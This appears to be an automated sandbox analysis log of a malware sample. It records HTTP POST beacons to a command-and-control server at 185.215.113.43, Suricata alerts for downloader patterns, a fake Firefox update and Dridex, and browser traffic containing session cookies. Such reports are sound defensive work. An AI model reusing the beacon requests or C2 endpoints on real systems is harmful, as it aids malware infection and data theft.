r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 9.9.9.9 9.9.9.9

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.11.20:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.11.20:49748 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.11.20:49749 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49753 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49755 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49763 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49769 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49772 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49774 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49775 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49778 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49781 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49786 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49785 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49832 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49842 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.11.20:49876 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49882 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49885 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49854 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49892 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.11.20:49903 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49779 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49838 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49844 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49846 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.11.20:50113 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.11.20:50082 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.11.20:50180 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49787 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.11.20:50150 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49889 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.11.20:50210 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:50150 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:50210 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:50113 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:50082 -> 188.119.66.185:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:50180 -> 188.119.66.185:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.190.130
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BA3CC60 PR_Recv,

0_2_6BA3CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIlaHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIlaHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4BSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t= HTTP/1.1Host: c1.microsoft.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR
Source: global traffic	HTTP traffic detected: GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1Host: browser.events.data.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&RedC=c1.microsoft.com&MXFR=198A1722808E649629FA026B848E627A HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1Host: browser.events.data.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; MUID=198A1722808E649629FA026B848E627A
